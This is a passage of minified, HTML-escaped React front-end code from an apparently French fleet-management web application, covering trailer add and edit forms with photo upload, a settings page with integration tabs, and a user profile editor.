Q=C.target.value,R=Q===&quot;&quot;?void 0:parseFloat(Q);u({...d,capacite:isNaN(R)?void 0:R})},min:&quot;0&quot;,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-capacity&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Photo de la remorque&quot;}),A?a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:A,alt:&quot;Aperçu&quot;,className:&quot;w-full h-48 object-cover rounded-lg border&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,size:&quot;icon&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:E,children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;photo-upload&quot;,className:&quot;flex-1 cursor-pointer&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center gap-2 h-12 border-2 border-dashed rounded-lg hover:bg-accent transition-colors&quot;,children:[a.jsx(ja,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-sm&quot;,children:&quot;Téléverser une photo&quot;})]})}),a.jsx(Xe,{id:&quot;photo-upload&quot;,type:&quot;file&quot;,accept:&quot;image/*&quot;,onChange:j,className:&quot;hidden&quot;,&quot;data-testid&quot;:&quot;input-photo-upload&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;absolute inset-0 flex items-center&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;w-full border-t&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;relative flex justify-center text-xs uppercase&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;bg-background px-2 text-muted-foreground&quot;,children:&quot;ou&quot;})})]}),a.jsx(Xe,{id:&quot;photoUrl&quot;,type:&quot;url&quot;,placeholder:&quot;https://example.com/photo.jpg&quot;,value:d.photoUrl||&quot;&quot;,onChange:C=&gt;{u({...d,photoUrl:C.target.value||void 0}),p(null),y(null)},className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-photo-url&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:h?`Fichier sélectionné : ${h.name} (${(h.size/1024/1024).toFixed(2)} MB)`:&quot;Téléversez une photo ou entrez une URL (optionnel)&quot;})]})]}),a.jsxs(Na,{className:&quot;gap-2 flex-col sm:flex-row&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;l(!1),&quot;data-testid&quot;:&quot;button-cancel&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,&quot;data-testid&quot;:&quot;button-submit&quot;,className:&quot;w-full sm:w-auto h-12&quot;,disabled:v,children:v?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Upload en cours...&quot;]}):&quot;Ajouter&quot;})]})]})]})]})}function mGe({trailer:e,open:t,onOpenChange:r,onUpdate:n}){const{toast:i}=Er(),[s,o]=I.useState({numeroChassis:&quot;&quot;,nom:&quot;&quot;,couleur:&quot;&quot;,type:&quot;plateau&quot;,capacite:void 0,photoUrl:&quot;&quot;}),[l,c]=I.useState(null),[d,u]=I.useState(null),[h,p]=I.useState(!1),[A,y]=I.useState(!1);I.useEffect(()=&gt;{e&amp;&amp;t&amp;&amp;(o({numeroChassis:e.numeroChassis,nom:e.nom||&quot;&quot;,couleur:e.couleur||&quot;&quot;,type:e.type||&quot;plateau&quot;,capacite:e.capacite||void 0,photoUrl:e.photoUrl||&quot;&quot;}),c(null),u(e.photoUrl||null),y(!1))},[e,t]);const v=S=&gt;{const _=S.target.files?.[0];if(_){if(!_.type.startsWith(&quot;image/&quot;)){i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Veuillez sélectionner un fichier image&quot;});return}if(_.size&gt;5*1024*1024){i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le fichier est trop volumineux (max 5MB)&quot;});return}c(_);const C=new FileReader;C.onloadend=()=&gt;{u(C.result)},C.readAsDataURL(_),o({...s,photoUrl:&quot;&quot;})}},w=()=&gt;{c(null),u(null),o({...s,photoUrl:&quot;&quot;}),y(!0)},j=async()=&gt;{if(!l)return null;p(!0);try{const S=new FormData;S.append(&quot;photo&quot;,l);const _=$s(&quot;/api/upload/trailer-photo&quot;),C=Vd(),Q={};C&amp;&amp;(Q.Authorization=`Bearer ${C}`);const R=await fetch(_,{method:&quot;POST&quot;,headers:Q,body:S,credentials:&quot;include&quot;});if(!R.ok){const M=await R.json();throw new Error(M.message||&quot;Erreur lors de l&#039;upload&quot;)}const T=await R.json();return{url:T.url,publicId:T.publicId}}catch(S){return i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:S instanceof Error?S.message:&quot;Erreur lors de l&#039;upload du fichier&quot;}),null}finally{p(!1)}},E=async S=&gt;{if(S.preventDefault(),!e)return;let _=s.photoUrl?.trim()||void 0,C;if(A)_=null,C=null;else if(l){const R=await j();if(R)_=R.url,C=R.publicId;else return}const Q={...s,photoUrl:_,photoCloudinaryPublicId:C,nom:s.nom?.trim()||void 0,couleur:s.couleur?.trim()||void 0,capacite:s.capacite&amp;&amp;!isNaN(s.capacite)?s.capacite:void 0};n?.(e.id,Q),r(!1)};return e?a.jsx(En,{open:t,onOpenChange:r,children:a.jsxs(yn,{className:&quot;sm:max-w-[500px] max-h-[90vh] overflow-y-auto&quot;,children:[a.jsxs(Cn,{children:[a.jsx(In,{children:&quot;Modifier la remorque&quot;}),a.jsxs(Mn,{children:[&quot;Modifiez les détails de la remorque &quot;,e.numeroChassis,&quot;.&quot;]})]}),a.jsxs(&quot;form&quot;,{onSubmit:E,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 py-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;numeroChassis&quot;,children:[&quot;Numéro de châssis &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsx(Xe,{id:&quot;numeroChassis&quot;,placeholder:&quot;CH-123456&quot;,value:s.numeroChassis,onChange:S=&gt;o({...s,numeroChassis:S.target.value}),className:&quot;font-mono h-12&quot;,required:!0,&quot;data-testid&quot;:&quot;input-chassis&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;nom&quot;,children:&quot;Nom de la remorque&quot;}),a.jsx(Xe,{id:&quot;nom&quot;,placeholder:&quot;Ex: La Grande&quot;,value:s.nom||&quot;&quot;,onChange:S=&gt;o({...s,nom:S.target.value||void 0}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-name&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;couleur&quot;,children:&quot;Couleur&quot;}),a.jsx(Xe,{id:&quot;couleur&quot;,placeholder:&quot;Ex: Rouge, Bleu, Blanc&quot;,value:s.couleur||&quot;&quot;,onChange:S=&gt;o({...s,couleur:S.target.value||void 0}),className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-color&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(Se,{htmlFor:&quot;type&quot;,children:[&quot;Type &quot;,a.jsx(&quot;span&quot;,{className:&quot;text-destructive&quot;,children:&quot;*&quot;})]}),a.jsxs(rn,{value:s.type||&quot;plateau&quot;,onValueChange:S=&gt;o({...s,type:S}),required:!0,children:[a.jsx(Xr,{id:&quot;type&quot;,&quot;data-testid&quot;:&quot;select-type&quot;,className:&quot;h-12&quot;,children:a.jsx(nn,{placeholder:&quot;Sélectionner un type&quot;})}),a.jsx(en,{children:N_.map(S=&gt;a.jsx(Qt,{value:S,children:S.charAt(0).toUpperCase()+S.slice(1).replace(&quot;_&quot;,&quot; &quot;)},S))})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;capacite&quot;,children:&quot;Capacité (tonnes)&quot;}),a.jsx(Xe,{id:&quot;capacite&quot;,type:&quot;number&quot;,step:&quot;0.1&quot;,placeholder:&quot;20&quot;,value:s.capacite||&quot;&quot;,onChange:S=&gt;{const _=S.target.value,C=_===&quot;&quot;?void 0:parseFloat(_);o({...s,capacite:isNaN(C)?void 0:C})},min:&quot;0&quot;,className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-capacity&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{children:&quot;Photo de la remorque&quot;}),d?a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;img&quot;,{src:d,alt:&quot;Aperçu&quot;,className:&quot;w-full h-48 object-cover rounded-lg border&quot;}),a.jsx(ge,{type:&quot;button&quot;,variant:&quot;destructive&quot;,size:&quot;icon&quot;,className:&quot;absolute top-2 right-2&quot;,onClick:w,children:a.jsx(Nn,{className:&quot;h-4 w-4&quot;})})]}):a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;photo-upload-edit&quot;,className:&quot;flex-1 cursor-pointer&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-center gap-2 h-12 border-2 border-dashed rounded-lg hover:bg-accent transition-colors&quot;,children:[a.jsx(ja,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{className:&quot;text-sm&quot;,children:&quot;Téléverser une photo&quot;})]})}),a.jsx(Xe,{id:&quot;photo-upload-edit&quot;,type:&quot;file&quot;,accept:&quot;image/*&quot;,onChange:v,className:&quot;hidden&quot;,&quot;data-testid&quot;:&quot;input-photo-upload&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;relative&quot;,children:[a.jsx(&quot;div&quot;,{className:&quot;absolute inset-0 flex items-center&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;w-full border-t&quot;})}),a.jsx(&quot;div&quot;,{className:&quot;relative flex justify-center text-xs uppercase&quot;,children:a.jsx(&quot;span&quot;,{className:&quot;bg-background px-2 text-muted-foreground&quot;,children:&quot;ou&quot;})})]}),a.jsx(Xe,{id:&quot;photoUrl&quot;,type:&quot;url&quot;,placeholder:&quot;https://example.com/photo.jpg&quot;,value:s.photoUrl||&quot;&quot;,onChange:S=&gt;{o({...s,photoUrl:S.target.value||void 0}),c(null),u(null)},className:&quot;h-12&quot;,&quot;data-testid&quot;:&quot;input-photo-url&quot;})]}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground&quot;,children:l?`Fichier sélectionné : ${l.name} (${(l.size/1024/1024).toFixed(2)} MB)`:&quot;Téléversez une photo ou entrez une URL (optionnel)&quot;})]})]}),a.jsxs(Na,{className:&quot;gap-2 flex-col sm:flex-row&quot;,children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;r(!1),&quot;data-testid&quot;:&quot;button-cancel&quot;,className:&quot;w-full sm:w-auto h-12&quot;,children:&quot;Annuler&quot;}),a.jsx(ge,{type:&quot;submit&quot;,&quot;data-testid&quot;:&quot;button-submit&quot;,className:&quot;w-full sm:w-auto h-12&quot;,disabled:h,children:h?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Upload en cours...&quot;]}):&quot;Enregistrer&quot;})]})]})]})}):null}function pGe(){const[e,t]=I.useState(&quot;&quot;),[r,n]=I.useState(null),[i,s]=I.useState(!1),{toast:o}=Er(),{data:l=[],isLoading:c}=cr({queryKey:[&quot;/api/trailers&quot;]}),d=_r({mutationFn:async E=&gt;await $t(&quot;/api/trailers&quot;,{method:&quot;POST&quot;,body:E}),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/trailers&quot;]}),o({title:&quot;Succès&quot;,description:&quot;La remorque a été ajoutée avec succès&quot;})},onError:E=&gt;{o({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:E.message||&quot;Impossible d&#039;ajouter la remorque&quot;})}}),u=_r({mutationFn:async({id:E,data:S})=&gt;await $t(`/api/trailers/${E}`,{method:&quot;PATCH&quot;,body:S}),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/trailers&quot;]}),o({title:&quot;Succès&quot;,description:&quot;La remorque a été modifiée avec succès&quot;}),n(null)},onError:E=&gt;{o({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:E.message||&quot;Impossible de modifier la remorque&quot;})}}),h=_r({mutationFn:async E=&gt;await $t(`/api/trailers/${E}`,{method:&quot;DELETE&quot;}),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;/api/trailers&quot;]}),o({title:&quot;Succès&quot;,description:&quot;La remorque a été supprimée avec succès&quot;})},onError:E=&gt;{o({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:E.message||&quot;Impossible de supprimer la remorque&quot;})}}),p=l.filter(E=&gt;E.numeroChassis.toLowerCase().includes(e.toLowerCase())||E.type.toLowerCase().includes(e.toLowerCase())||E.nom&amp;&amp;E.nom.toLowerCase().includes(e.toLowerCase())),A=E=&gt;{d.mutate(E)},y=E=&gt;{n(E)},v=(E,S)=&gt;{u.mutate({id:E,data:S})},w=E=&gt;{h.mutate(E)},j=l.find(E=&gt;E.id===r)||null;return a.jsxs(&quot;div&quot;,{className:&quot;space-y-4 md:space-y-6&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex flex-col md:flex-row md:items-start md:justify-between gap-4&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h2&quot;,{className:&quot;text-lg md:text-xl font-semibold&quot;,&quot;data-testid&quot;:&quot;text-page-title&quot;,children:&quot;Remorques&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Gérez votre parc de remorques&quot;})]}),a.jsx(hGe,{onAdd:A,open:i,onOpenChange:s})]}),a.jsx(&quot;div&quot;,{className:&quot;flex items-center gap-3&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;relative flex-1&quot;,children:[a.jsx(rf,{className:&quot;absolute left-3 top-1/2 -translate-y-1/2 h-4 w-4 text-muted-foreground&quot;}),a.jsx(Xe,{placeholder:&quot;Rechercher...&quot;,value:e,onChange:E=&gt;t(E.target.value),className:&quot;pl-9 h-12&quot;,&quot;data-testid&quot;:&quot;input-search&quot;})]})}),c?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center py-12&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):a.jsxs(a.Fragment,{children:[a.jsx(&quot;div&quot;,{className:&quot;grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-4&quot;,children:p.map(E=&gt;a.jsx(fGe,{trailer:E,onEdit:y,onDelete:w},E.id))}),p.length===0&amp;&amp;a.jsx(&quot;div&quot;,{className:&quot;text-center py-12&quot;,children:a.jsx(&quot;p&quot;,{className:&quot;text-muted-foreground&quot;,children:&quot;Aucune remorque trouvée&quot;})})]}),a.jsx(np,{onClick:()=&gt;s(!0),label:&quot;Ajouter une remorque&quot;}),a.jsx(mGe,{trailer:j,open:r!==null,onOpenChange:E=&gt;{E||n(null)},onUpdate:v})]})}function gGe(){return a.jsxs(ul,{defaultValue:&quot;vehicules&quot;,className:&quot;space-y-4&quot;,children:[a.jsxs(Ro,{children:[a.jsxs(hn,{value:&quot;vehicules&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(Fa,{className:&quot;h-4 w-4&quot;}),&quot;Véhicules&quot;]}),a.jsxs(hn,{value:&quot;remorques&quot;,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(il,{className:&quot;h-4 w-4&quot;}),&quot;Remorques&quot;]})]}),a.jsx(dn,{value:&quot;vehicules&quot;,className:&quot;space-y-4&quot;,children:a.jsx(uGe,{})}),a.jsx(dn,{value:&quot;remorques&quot;,className:&quot;space-y-4&quot;,children:a.jsx(pGe,{})})]})}const Hb=[{id:&quot;organisation&quot;,label:&quot;Organisation&quot;,icon:dm,pathPrefix:&quot;/parametres/organisation&quot;,tabs:[{id:&quot;organisation&quot;,label:&quot;Organisation&quot;,path:&quot;/parametres/organisation&quot;,icon:dm},{id:&quot;utilisateurs&quot;,label:&quot;Utilisateurs&quot;,path:&quot;/parametres/utilisateurs&quot;,icon:nh}]},{id:&quot;referentiels&quot;,label:&quot;Référentiels&quot;,icon:gse,pathPrefix:&quot;/parametres/referentiels&quot;,tabs:[{id:&quot;equipements&quot;,label:&quot;Équipements&quot;,path:&quot;/parametres/referentiels/equipements&quot;,icon:Fa},{id:&quot;equipage&quot;,label:&quot;Équipage&quot;,path:&quot;/parametres/referentiels/equipage&quot;,icon:Sm},{id:&quot;types-voyages&quot;,label:&quot;Types de voyages&quot;,path:&quot;/parametres/referentiels/types-voyages&quot;,icon:po},{id:&quot;lieux&quot;,label:&quot;Lieux&quot;,path:&quot;/parametres/referentiels/lieux&quot;,icon:ei}]},{id:&quot;integrations&quot;,label:&quot;Intégrations&quot;,icon:jse,pathPrefix:&quot;/parametres/integrations&quot;,tabs:[{id:&quot;tracking&quot;,label:&quot;Tracking&quot;,path:&quot;/parametres/integrations/tracking&quot;,icon:u1},{id:&quot;cloudinary&quot;,label:&quot;Cloudinary&quot;,path:&quot;/parametres/integrations/cloudinary&quot;,icon:lv},{id:&quot;optimisations&quot;,label:&quot;Optimisations&quot;,path:&quot;/parametres/integrations/optimisations&quot;,icon:ry}]}];function qb(){const[e,t]=Gi(),r=I.useMemo(()=&gt;e.startsWith(&quot;/parametres/referentiels&quot;)?&quot;referentiels&quot;:e.startsWith(&quot;/parametres/integrations&quot;)?&quot;integrations&quot;:&quot;organisation&quot;,[e]),n=Hb.find(l=&gt;l.id===r)||Hb[0],i=I.useMemo(()=&gt;n.tabs.find(c=&gt;e===c.path)?.id||n.tabs[0]?.id||&quot;organisation&quot;,[e,n]);I.useEffect(()=&gt;{e===&quot;/parametres&quot;&amp;&amp;t(&quot;/parametres/organisation&quot;,{replace:!0})},[e,t]);const s=l=&gt;{const c=Hb.find(d=&gt;d.id===l);c&amp;&amp;c.tabs.length&gt;0&amp;&amp;t(c.tabs[0].path)},o=l=&gt;{const c=n.tabs.find(d=&gt;d.id===l);c&amp;&amp;t(c.path)};return a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 pb-8&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-4&quot;,children:[a.jsx(zm,{className:&quot;h-8 w-8 text-primary&quot;}),a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h1&quot;,{className:&quot;text-2xl font-semibold&quot;,children:&quot;Paramètres&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Gérez les types de voyage, les lieux et autres configurations&quot;})]})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-4&quot;,children:[a.jsx(ul,{value:r,onValueChange:s,children:a.jsx(Ro,{className:&quot;grid w-full grid-cols-3&quot;,children:Hb.map(l=&gt;{const c=l.icon;return a.jsxs(hn,{value:l.id,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(c,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{children:l.label})]},l.id)})})}),a.jsxs(ul,{value:i,onValueChange:o,className:&quot;space-y-6&quot;,children:[a.jsx(Ro,{className:&quot;grid w-full grid-cols-2 md:grid-cols-3&quot;,children:n.tabs.map(l=&gt;{const c=l.icon;return a.jsxs(hn,{value:l.id,className:&quot;flex items-center gap-2&quot;,children:[a.jsx(c,{className:&quot;h-4 w-4&quot;}),a.jsx(&quot;span&quot;,{className:&quot;hidden sm:inline&quot;,children:l.label}),a.jsx(&quot;span&quot;,{className:&quot;sm:hidden&quot;,children:l.label.split(&quot; &quot;)[0]})]},l.id)})}),a.jsx(dn,{value:&quot;organisation&quot;,className:&quot;space-y-4&quot;,children:a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Informations de la société&quot;}),a.jsx(wn,{children:&quot;Configurez les informations de votre organisation. Ces informations seront utilisées dans les documents (ordres de mission, impressions, etc.).&quot;})]}),a.jsx(Et,{children:a.jsx(vqe,{})})]})}),a.jsx(dn,{value:&quot;utilisateurs&quot;,className:&quot;space-y-4&quot;,children:a.jsx(Xqe,{})}),a.jsx(dn,{value:&quot;equipements&quot;,className:&quot;space-y-4&quot;,children:a.jsx(gGe,{})}),a.jsx(dn,{value:&quot;equipage&quot;,className:&quot;space-y-4&quot;,children:a.jsx(sGe,{})}),a.jsx(dn,{value:&quot;types-voyages&quot;,className:&quot;space-y-4&quot;,children:a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Types de voyage&quot;}),a.jsx(wn,{children:&quot;Gérez les types de voyages prédéfinis. La sélection d&#039;un type pré-remplit automatiquement les informations lors de la création d&#039;un voyage.&quot;})]}),a.jsx(Et,{children:a.jsx(Eqe,{})})]})}),a.jsx(dn,{value:&quot;lieux&quot;,className:&quot;space-y-4&quot;,children:a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Lieux&quot;}),a.jsx(wn,{children:&quot;Gérez les lieux pré-définis pour le chargement et le déchargement. Ces lieux peuvent être associés aux types de voyage.&quot;})]}),a.jsx(Et,{children:a.jsx(Sqe,{})})]})}),a.jsx(dn,{value:&quot;tracking&quot;,className:&quot;space-y-4&quot;,children:a.jsx(qqe,{})}),a.jsx(dn,{value:&quot;cloudinary&quot;,className:&quot;space-y-4&quot;,children:a.jsx(Bqe,{})}),a.jsx(dn,{value:&quot;optimisations&quot;,className:&quot;space-y-4&quot;,children:a.jsx(Kqe,{})})]})]})]})}const AGe={admin:&quot;Administrateur&quot;,gestionnaire_parc:&quot;Gestionnaire Parc&quot;,gestionnaire_mobile:&quot;Gestionnaire Mobile&quot;,secretaire:&quot;Secrétaire&quot;,comptable:&quot;Comptable&quot;,atelier:&quot;Atelier&quot;,chauffeur:&quot;Chauffeur&quot;,apprenti:&quot;Apprenti&quot;};function xGe(){const[,e]=mg(&quot;/utilisateurs/:id&quot;),[,t]=mg(&quot;/parametres/utilisateurs/:id&quot;),r=t?.id||e?.id||&quot;&quot;,[,n]=Gi();I.useEffect(()=&gt;{e?.id&amp;&amp;!t?.id&amp;&amp;n(`/parametres/utilisateurs/${e.id}`,{replace:!0})},[e,t,n]);const{toast:i}=Er(),[s,o]=I.useState(&quot;profil&quot;),l=I.useRef(null),c=I.useRef(null),d=I.useRef(null),u=I.useRef(null),{data:h,isLoading:p}=cr({queryKey:[&quot;user&quot;,r],queryFn:()=&gt;hHe(r),enabled:!!r}),[A,y]=I.useState({name:&quot;&quot;,email:&quot;&quot;,phone:&quot;&quot;,role:&quot;apprenti&quot;,is_active:!0,profile:{}});I.useEffect(()=&gt;{h&amp;&amp;y({name:h.name,email:h.email||&quot;&quot;,phone:h.phone||&quot;&quot;,role:h.role,is_active:h.is_active,profile:h.profile||{}})},[h]);const v=_r({mutationFn:T=&gt;gHe(r,T),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;user&quot;,r]}),jt.invalidateQueries({queryKey:[&quot;/api/users&quot;]}),i({title:&quot;Succès&quot;,description:&quot;L&#039;utilisateur a été mis à jour&quot;})},onError:T=&gt;{i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:T.message||&quot;Impossible de mettre à jour l&#039;utilisateur&quot;})}}),w=_r({mutationFn:T=&gt;xHe(r,T),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;user&quot;,r]}),i({title:&quot;Succès&quot;,description:&quot;L&#039;avatar a été mis à jour&quot;})}}),j=_r({mutationFn:T=&gt;vHe(r,T),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;user&quot;,r]}),i({title:&quot;Succès&quot;,description:&quot;Les documents ont été mis à jour&quot;})}}),E=_r({mutationFn:T=&gt;yHe(r,T),onSuccess:()=&gt;{i({title:&quot;Succès&quot;,description:&quot;Le mot de passe a été mis à jour&quot;})}}),S=_r({mutationFn:T=&gt;bHe(r,T),onSuccess:()=&gt;{jt.invalidateQueries({queryKey:[&quot;user&quot;,r]}),i({title:&quot;Succès&quot;,description:`L&#039;utilisateur a été ${h?.is_active?&quot;désactivé&quot;:&quot;activé&quot;}`})}}),_=()=&gt;{v.mutate(A)},C=T=&gt;{const M=T.target.files?.[0];M&amp;&amp;w.mutate(M)},Q=(T,M)=&gt;{const O=M.target.files?.[0];O&amp;&amp;j.mutate({[T]:O})},R=()=&gt;{const T=prompt(&quot;Nouveau mot de passe (min 8 caractères):&quot;);T&amp;&amp;T.length&gt;=8?E.mutate(T):T&amp;&amp;i({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Le mot de passe doit contenir au moins 8 caractères&quot;})};return p?a.jsx(&quot;div&quot;,{className:&quot;flex justify-center items-center min-h-screen&quot;,children:a.jsx(Nt,{className:&quot;h-8 w-8 animate-spin text-primary&quot;})}):h?a.jsxs(&quot;div&quot;,{className:&quot;space-y-6 pb-20 md:pb-0&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{children:[a.jsx(&quot;h1&quot;,{className:&quot;text-2xl font-semibold&quot;,children:h.name}),a.jsx(&quot;p&quot;,{className:&quot;text-sm text-muted-foreground&quot;,children:&quot;Édition du profil utilisateur&quot;})]}),a.jsx(ge,{variant:&quot;outline&quot;,onClick:()=&gt;n(&quot;/utilisateurs&quot;),children:&quot;Retour&quot;})]}),a.jsxs(ul,{value:s,onValueChange:o,className:&quot;space-y-4&quot;,children:[a.jsxs(Ro,{className:&quot;grid w-full grid-cols-4&quot;,children:[a.jsxs(hn,{value:&quot;profil&quot;,children:[a.jsx(nh,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Profil&quot;]}),a.jsxs(hn,{value:&quot;documents&quot;,children:[a.jsx(po,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Documents&quot;]}),a.jsxs(hn,{value:&quot;securite&quot;,children:[a.jsx(U6,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Sécurité&quot;]}),a.jsxs(hn,{value:&quot;liens&quot;,children:[a.jsx(Xv,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Liens&quot;]})]}),a.jsxs(dn,{value:&quot;profil&quot;,className:&quot;space-y-4&quot;,children:[a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Informations de base&quot;}),a.jsx(wn,{children:&quot;Nom, email, téléphone, rôle&quot;})]}),a.jsxs(Et,{className:&quot;space-y-4&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;name&quot;,children:&quot;Nom&quot;}),a.jsx(Xe,{id:&quot;name&quot;,value:A.name,onChange:T=&gt;y({...A,name:T.target.value})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;phone&quot;,children:&quot;Téléphone&quot;}),a.jsx(Xe,{id:&quot;phone&quot;,value:A.phone,onChange:T=&gt;y({...A,phone:T.target.value})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;email&quot;,children:&quot;Email&quot;}),a.jsx(Xe,{id:&quot;email&quot;,type:&quot;email&quot;,value:A.email,onChange:T=&gt;y({...A,email:T.target.value})})]}),a.jsxs(&quot;div&quot;,{className:&quot;space-y-2&quot;,children:[a.jsx(Se,{htmlFor:&quot;role&quot;,children:&quot;Rôle&quot;}),a.jsxs(rn,{value:A.role,onValueChange:T=&gt;y({...A,role:T}),children:[a.jsx(Xr,{id:&quot;role&quot;,children:a.jsx(nn,{})}),a.jsx(en,{children:Object.entries(AGe).map(([T,M])=&gt;a.jsx(Qt,{value:T,children:M},T))})]})]})]})]}),a.jsxs(it,{children:[a.jsxs(br,{children:[a.jsx(jr,{children:&quot;Avatar&quot;}),a.jsx(wn,{children:&quot;Photo de profil&quot;})]}),a.jsx(Et,{className:&quot;space-y-4&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-4&quot;,children:[a.jsxs(Dm,{className:&quot;h-20 w-20&quot;,children:[a.jsx(Tm,{src:h.profile?.avatar||void 0}),a.jsx(Rm,{children:h.name.charAt(0).toUpperCase()})]}),a.jsxs(&quot;div&quot;,{children:[a.jsx(ge,{type:&quot;button&quot;,variant:&quot;outline&quot;,onClick:()=&gt;l.current?.click(),disabled:w.isPending,children:w.isPending?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 